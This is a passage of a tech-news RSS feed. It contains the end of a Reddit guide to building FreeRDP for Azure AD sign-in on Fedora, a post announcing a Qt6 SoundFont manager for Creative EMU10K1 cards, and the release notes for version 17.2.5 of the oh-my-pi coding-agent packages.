<li><strong><code>cups-devel</code></strong> — missed this initially, build fails at the printer channel with "Could NOT find Cups" if it's absent.</li> <li><strong><code>webkitgtk6.0-devel</code>** — this is the actual key package. FreeRDP's webview feature pulls in a small external helper library (<code>akallabeth/webview</code> via CMake FetchContent) which searches for WebKitGTK in this priority order: <code>webkitgtk-6.0</code> → <code>webkit2gtk-4.1</code> → <code>webkit2gtk-4.0</code>. Current Fedora has deprecated/removed <code>webkit2gtk-4.0</code>, but **<code>webkitgtk-6.0</code> (GTK4-based) is available and works fine</strong> — no need to chase the old deprecated package.</li> </ul> <h2>Step 2 — Clone and configure</h2> <p><code> git clone https://github.com/FreeRDP/FreeRDP.git cd FreeRDP mkdir build &amp;&amp; cd build cmake -GNinja -DWITH_WEBVIEW=ON -DWITH_CLIENT_SDL=ON -DWITH_AAD=ON .. </code></p> <p>Confirm the config actually picked up webview support before building:</p> <p><code> grep -i "webview\|gtk4" CMakeCache.txt </code></p> <p>You want to see it successfully checking for and finding <code>gtk4</code>/<code>webkitgtk-6.0</code> in the configure output, with "Configuring done" at the end and no errors.</p> <h2>Step 3 — Build</h2> <p><code> ninja </code></p> <p>Took about 10 minutes on a Ryzen 7 5800X3D. Just let it run.</p> <h2>Step 4 — Find the actual binary</h2> <p>The build output binary is <em>not</em> at the path you might expect from the source tree layout:</p> <p><code> find . -iname "*freerdp*" -executable -type f </code></p> <p>Mine landed at:</p> <p><code> ./client/SDL/SDL2/sdl-freerdp </code></p> <h2>Step 5 — The actual working connection command</h2> <p><code> ./client/SDL/SDL2/sdl-freerdp \ /v:&lt;remote-hostname&gt; \ /sec:aad \ /azure:tenantid:&lt;your-entra-tenant-id&gt; \ /u:&lt;user&gt;@&lt;yourdomain&gt;.com \ /cert:ignore \ /dynamic-resolution \ /w:2560 \ /h:1440 \ /smart-sizing </code></p> <p>A few flags that turned out to matter, that I'd have missed otherwise:</p> <ul> <li>**<code>/sec:aad</code> is required alongside <code>/azure:</code>.** Using <code>/azure:</code> alone let the client fall through to a default NLA/Kerberos negotiation attempt, which failed outright with <code>Cannot find KDC for realm</code> since there's no Kerberos realm configured on a home Linux box. Explicitly forcing <code>/sec:aad</code> skips straight to the AAD web auth flow.</li> <li>**<code>&lt;remote-hostname&gt;</code> must match the hostname exactly as registered in Entra ID, and must actually resolve** (DNS or <code>/etc/hosts</code>) — an IP address will not work for this auth flow.</li> <li><strong><code>/w:</code>, <code>/h:</code>, and <code>/smart-sizing</code> fixed a real rendering bug</strong> — reconnecting to a previously-disconnected session rendered the remote desktop content squashed into a small corner of the window with the rest black. Explicitly forcing the resolution and enabling smart-sizing (which scales/stretches remote content to fill the client window regardless of the session's actual internal resolution) fixed this completely.</li> </ul> <h2>Result</h2> <p>Running that command pops open a real embedded browser window right in the FreeRDP client for the Microsoft sign-in — full Conditional Access / MFA support — no external browser, no manual URL copy-paste. Exactly matching the <code>mstsc.exe</code> "use a web account" experience, just self-compiled.</p> <h2>Wrapper script</h2> <p>Threw this into a small shell script so I can just run <code>rdp-aad</code> instead of remembering the whole command:</p> <p>```</p> <h1>!/usr/bin/env bash</h1> <p>set -euo pipefail</p> <p>DEFAULT_HOST="your-vm-hostname" DEFAULT_USER="<a href="mailto:youruser@yourdomain.com">youruser@yourdomain.com</a>" TENANT_ID="your-entra-tenant-id" FREERDP_BIN="$HOME/FreeRDP/build/client/SDL/SDL2/sdl-freerdp" RES_WIDTH="2560" RES_HEIGHT="1440"</p> <p>HOST="${1:-$DEFAULT_HOST}" USERNAME="${2:-$DEFAULT_USER}"</p> <p>if [[ ! -x "$FREERDP_BIN" ]]; then echo "FreeRDP binary not found at $FREERDP_BIN" exit 1 fi</p> <p>if ! getent hosts "$HOST" &gt; /dev/null 2&gt;&amp;1; then echo "Warning: '$HOST' does not resolve. AAD auth needs a resolvable hostname" echo "matching the device name registered in Entra ID." read -r -p "Continue anyway? [y/N] " reply [[ "$reply" =~ <sup>[Yy]$</sup> ]] || exit 1 fi</p> <p>exec "$FREERDP_BIN" \ /v:"$HOST" \ /sec:aad \ /azure:tenantid:"$TENANT_ID" \ /u:"$USERNAME" \ /cert:ignore \ /dynamic-resolution \ /w:"$RES_WIDTH" \ /h:"$RES_HEIGHT" \ /smart-sizing ```</p> <p>Hope this saves someone else the trial and error. Happy to answer questions if anyone hits a snag replicating it.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/themew2"> /u/themew2 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1vdzgqd/connecting_to_an_azure_join_windows_machine_using/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vdzgqd/connecting_to_an_azure_join_windows_machine_using/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Master Blaster – A simple Qt6 SoundFont manager for Creative EMU10K1 sound cards.]]></title>
<description><![CDATA[For the two people who still care. 🙂 I hadn't touched Python in around 20 years, so I used ChatGPT as a coding assistant to help me get back up to speed. The project itself is something I wanted because I missed having a small GUI for managing EMU10K1 SoundFonts. Master Blaster is a simple Qt6 fr...]]></description>
<link>https://tsecurity.de/de/3700380/linux-tipps/master-blaster-a-simple-qt6-soundfont-manager-for-creative-emu10k1-sound-cards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700380/linux-tipps/master-blaster-a-simple-qt6-soundfont-manager-for-creative-emu10k1-sound-cards/</guid>
<pubDate>Mon, 03 Aug 2026 10:26:04 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>For the two people who still care. 🙂</p> <p>I hadn't touched Python in around 20 years, so I used ChatGPT as a coding assistant to help me get back up to speed. The project itself is something I wanted because I missed having a small GUI for managing EMU10K1 SoundFonts.</p> <p>Master Blaster is a simple Qt6 frontend for the tools provided by awesfx (sfxload) and alsa-utils.</p> <p>It's mostly a nostalgia project inspired by the little Creative utilities from the 90s that let you tweak your sound card through a simple control panel.</p> <p>Features:</p> <pre><code>Load .sf2 SoundFonts Clear sample memory Display SoundFont RAM usage Test SoundFonts with a MIDI file Remember the last loaded SoundFont Remember the selected MIDI port </code></pre> <p>The source code is available on Codeberg, along with a README and a screenshot:</p> <p><a href="https://codeberg.org/mxl84/master-blaster">Master-Blaster</a></p> <p>I'm using an Audigy Rx, but it should work with any card supported by the snd_emu10k1 driver.</p> <p>The python file is small and should be easy to read, with different sections outlining functions. </p> <p>Roadmap? No, not really. I might add support for loading your own MIDI file for testing, and I'd like to redesign the progress bar to look a bit more... 90s.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/HollyCat2022"> /u/HollyCat2022 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1vcz9of/master_blaster_a_simple_qt6_soundfont_manager_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vcz9of/master_blaster_a_simple_qt6_soundfont_manager_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub: v17.2.5]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Breaking Changes

Tool examples embedded in tool descriptions now always render in Python call syntax, and the exampleDialect option has been removed from AppendOnlyContextManager build options.
Updated normalizeTools to accept a NormalizeToolsOptions configuration object ...]]></description>
<link>https://tsecurity.de/de/3700321/tools/github-v1725/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700321/tools/github-v1725/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:49 +0200</pubDate>
<content:encoded><![CDATA[<div class="github-feed-entry"><h2>@oh-my-pi/pi-agent-core</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Tool examples embedded in tool descriptions now always render in Python call syntax, and the <code>exampleDialect</code> option has been removed from <code>AppendOnlyContextManager</code> build options.</li>
<li>Updated <code>normalizeTools</code> to accept a <code>NormalizeToolsOptions</code> configuration object (<code>{ injectIntent, pruneDescriptions }</code>) instead of positional booleans.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where runs would fail with an error if an Anthropic stream was truncated after complete tool calls were streamed; the agent now recovers and executes those tool calls.</li>
<li>Fixed an issue where artifact recovery reads could be incorrectly elided during compaction.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Changed</h3>
<ul>
<li>Standardized tool-call examples in <code>renderToolExamples</code> and <code>renderToolInventory</code> to use Python keyword-argument syntax (<code>name(key="value")</code>) across all models, removing the model-specific dialect parameter and the <code>DialectRenderOptions.example</code> flag.</li>
<li>Updated <code>renderToolInventory</code> to render the tool catalog as a unified OpenAI-Harmony-style <code>## functions</code> block using TypeScript type declarations and comments, replacing the previous per-tool Markdown sections.</li>
<li>Added a <code>style: "harmony"</code> option to <code>jsonSchemaToTypeScript</code> for generating compact, comma-delimited TypeScript definitions.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed a session-blocking issue where unescaped Harmony control tokens in replayed assistant responses and tool inputs caused subsequent requests to be rejected with <code>invalid_prompt</code> errors.</li>
<li>Fixed an issue where Codex Responses dropped native image-generation results from assistant content and replays due to stale <code>generating</code> statuses.</li>
<li>Fixed Anthropic stream truncation handling where unexpected connection closures were incorrectly treated as clean stops, causing the agent loop to halt silently mid-sentence.</li>
<li>Optimized Anthropic prompt caching to prevent unnecessary cache invalidation of the entire system prefix when volatile project footer details (such as current working directory, date, or workspace tree) change.</li>
</ul>
<h2>@oh-my-pi/browser-relay</h2>
<h3>Added</h3>
<ul>
<li>Initial release of the Chrome MV3 extension, enabling the omp browser tool to attach to and drive existing browser tabs via chrome.debugger.</li>
<li>Added automatic, robust tab management that groups active agent-driven tabs into a dedicated per-window "omp" tab group and ensures clean dissolution upon disconnect.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where newly advertised chat models were dropped during dynamic discovery for the <code>alibaba-token-plan</code> provider.</li>
<li>Fixed a <code>400</code> error when forcing a specific tool with DeepSeek reasoning models on OpenCode Zen/Go gateways by automatically downgrading the tool selection mode to <code>auto</code> while keeping the tool advertised.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Replaced the computer tool's coordinate-batch schema with persistent JavaScript runs, and removed computer.backend and model-specific controller switching.</li>
<li>Changed the edit tool's replace mode from a multi-edit batch schema to a single-edit schema ({ path, old_string, new_string, replace_all? }).</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added a relay browser mode to drive local Chrome tabs via the OMP Browser Relay extension, supporting automatic daemon startup and tab grouping.</li>
<li>Added a scriptable desktop session featuring window-targeted capture and input, native accessibility trees, clipboard access, and streamed screenshots.</li>
<li>Added broker-shared language servers (controlled by the lsp.shared setting) to multiplex LSP servers across multiple instances in a project, reducing cold-start times and resource usage.</li>
<li>Added optional timeoutMs to discovery configuration in provider options to configure custom HTTP probe timeouts for llama.cpp, Ollama, and OpenAI-compatible endpoints.</li>
<li>Added a cross-platform, in-process ps shell builtin with custom columns, sorting, and process metrics.</li>
<li>Added the --service-tier flag to override the OpenAI service tier for a session.</li>
<li>Added a configurable per-request web search timeout via providers.webSearchTimeoutSeconds.</li>
<li>Added turn-aware /tree navigation shortcuts (Alt+Up/Alt+Down, Home/End, PageUp/PageDown) to traverse user and assistant turns.</li>
<li>Added display.hideToolActivity and a Ctrl+Shift+O shortcut to toggle the visibility of model-initiated tool calls and results.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Exposed the script-driven computer schema to all models, including those with provider-native Computer Use support.</li>
<li>Reduced omp --help cold-start latency and memory usage by rendering lightweight command metadata.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed durability of session transcripts to prevent data loss on process crashes.</li>
<li>Fixed a bug on Windows where a timed-out bash command could terminate the main omp process.</li>
<li>Fixed headless runs hanging or leaving background workers alive after completion.</li>
<li>Fixed a crash when opening the Agent Hub after resuming a session.</li>
<li>Fixed /mcp reauth environment variable expansion and token validation.</li>
<li>Fixed fuzzy replace-all edits re-matching replacement text indefinitely, which could freeze the TUI.</li>
<li>Fixed inspect_image ignoring configured thinking effort for vision models.</li>
<li>Fixed compiled binaries dropping certain extensions with complex CommonJS/ESM dependency graphs.</li>
<li>Fixed template argument substitution executing recursive placeholder expansion when positional arguments contain literal $@ or $ARGUMENTS tokens.</li>
<li>Fixed project-scoped session directories using leading-hyphen names and collapsing distinct paths.</li>
<li>Fixed manual /shake leaving the context budget anchored to stale pre-shake token counts.</li>
<li>Fixed Mnemopi scoped recall reporting "No relevant memories found" when individual targets fail internally.</li>
<li>Fixed skill:// resolution ignoring custom directories when a same-named skill exists in a default path.</li>
<li>Fixed image paste failing on Wayland-only Linux sessions.</li>
<li>Fixed prewalk switching to the fast model during read-only investigations.</li>
<li>Fixed self-update misclassifying glibc Linux hosts with an installed musl loader as musl hosts.</li>
<li>Fixed omp setup python to validate the correct interpreter used by the Python eval runtime.</li>
<li>Fixed the terminal-tab title dropping to idle while an unsuppressed async job was still running.</li>
<li>Fixed redirected stdin being ignored when Bun reports a pipe with an undefined isTTY.</li>
<li>Fixed a literal API key configured via /login being hijacked on Windows by case-differing system environment variables.</li>
<li>Fixed Esc during a streaming /loop iteration pausing the loop instead of aborting the current turn.</li>
<li>Fixed heavily branched conversation trees shifting linear continuations into disconnected columns.</li>
<li>Fixed plugin installation validation failures for legacy compatibility shims.</li>
<li>Removed hard-coded references to disabled or absent agents in system and tool prompts.</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Replaced DesktopSession.execute(actions, window) and action batches with dedicated per-operation methods for capture, pointer, keyboard, window, and accessibility. Capture capabilities now apply per call, and coordinate input requires a prior frame for the same target.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added a cross-platform, in-process ps shell builtin supporting BSD/procps selection forms, custom output columns, sorting, process metrics, and header suppression.</li>
<li>Added unified desktop backends for macOS, Win32, X11, and Wayland behind a single session API, featuring capture-free window discovery, isolated capture, explicit background/foreground delivery, native accessibility trees (AX/UIA/AT-SPI) with generational references, and structured errors for unsupported background input.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed accessibility snapshots incorrectly marking a window root as focused based on its app-local AXFocused attribute when another application held global focus; the root annotation now correctly reflects the global window-roster focus flag.</li>
<li>Improved coordinate-frame error messages for pointer input before capture, out-of-frame coordinates, and between-display points to clearly explain the capture-frame contract and remedy instead of throwing a generic bounds check.</li>
<li>Fixed duplicated characters in AppKit targets on macOS caused by background keyboard events being posted through both CoreGraphics and SkyLight; events are now delivered once via the authenticated SkyLight route.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed Kitty and Ghostty keyboard shortcuts on non-Latin keyboard layouts by requesting base-layout key reporting from the terminal.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Added</h3>
<ul>
<li>Added utility functions <code>parseFlag()</code>, <code>getBrowserRelayDir()</code>, and <code>getGlobalDaemonRuntimeDir()</code> to support browser relay mode and global daemon runtime directory resolution.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Updated the lightweight CLI runner to support static command metadata, allowing root help to render without importing full command implementations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>perf(cli): keep root help off runtime graph by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eggpeat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eggpeat">@eggpeat</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5033529980" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7205" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7205/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7205">#7205</a></li>
<li>fix(coding-agent): let customDirectories skills win over default-path duplicates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhang17-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhang17-24">@zhang17-24</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5036087935" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7246" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7246/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7246">#7246</a></li>
<li>fix(omp): refresh context budget after shake by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oleksoleksoleks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oleksoleksoleks">@oleksoleksoleks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038578336" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7310" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7310/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7310">#7310</a></li>
<li>fix(agent): skip prewalk switch on read-only xd:// device calls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038716163" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7314" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7314/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7314">#7314</a></li>
<li>fix(catalog): downgrade forced tool choice for deepseek reasoning models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038809588" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7317" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7317/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7317">#7317</a></li>
<li>fix(coding-agent): support Wayland image paste by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038811015" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7318" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7318/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7318">#7318</a></li>
<li>fix(tui): requested base-layout keys for shortcuts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5038921715" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7321" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7321/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7321">#7321</a></li>
<li>fix(ai): cache stable system prefix across cwd/date footer changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5039412534" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7326" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7326/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7326">#7326</a></li>
<li>fix(compaction): stop shake from re-eliding artifact recovery reads by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jwmacd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jwmacd">@jwmacd</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5039542401" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7327" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7327/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7327">#7327</a></li>
<li>fix(tui): preserve loop after cancelling iteration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5039642305" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7331" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7331/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7331">#7331</a></li>
<li>fix(tui): compact linear branch continuations by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5039729707" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7333" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7333/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7333">#7333</a></li>
<li>test(vibe): fix kill-before-init race with a worker-ready handshake by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szavadsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szavadsky">@szavadsky</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040060152" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7340" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7340/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7340">#7340</a></li>
<li>fix(agent): stop leaking scout into prompts when it is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szavadsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szavadsky">@szavadsky</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040523227" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7344" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7344/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7344">#7344</a></li>
<li>fix(eval): preserve console for ConPTY Python kernels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040804854" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7350" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7350/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7350">#7350</a></li>
<li>fix(mnemopi): bound locked retention during teardown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040884075" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7355" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7355/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7355">#7355</a></li>
<li>fix(mnemopi): bound embed worker IPC and reap on timeout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5040899555" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7356" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7356/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7356">#7356</a></li>
<li>fix(auth): guard config-value resolvers against case-insensitive env hijack by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5041187823" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7362" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7362/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7362">#7362</a></li>
<li>fix(mnemopi): surface scoped recall failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5041675465" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7367" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7367/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7367">#7367</a></li>
<li>docs: document role-backed task agents by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fatihaziz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fatihaziz">@fatihaziz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5041900066" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7371" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7371/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7371">#7371</a></li>
<li>fix(cli): restore piped custom session persistence by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042184275" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7382" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7382/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7382">#7382</a></li>
<li>test(browser): stop gating chromium tests on a top-level-await export by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paralin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paralin">@paralin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042245321" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7384" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7384/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7384">#7384</a></li>
<li>fix(coding-agent): keep focused status bar caps bright by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/art-wiedzmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/art-wiedzmin">@art-wiedzmin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042264110" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7385" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7385/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7385">#7385</a></li>
<li>fix(tui): keep working title across non-terminal agent_end by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042351845" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7387" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7387/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7387">#7387</a></li>
<li>fix(setup): align Python setup probe with eval by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paolofraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paolofraz">@paolofraz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5042500693" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7390" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7390/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7390">#7390</a></li>
<li>fix(catalog): admit discovered Token Plan chat models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5043337252" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/7392" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/7392/hovercard" href="https://github.com/can1357/oh-my-pi/pull/7392">#7392</a></li>
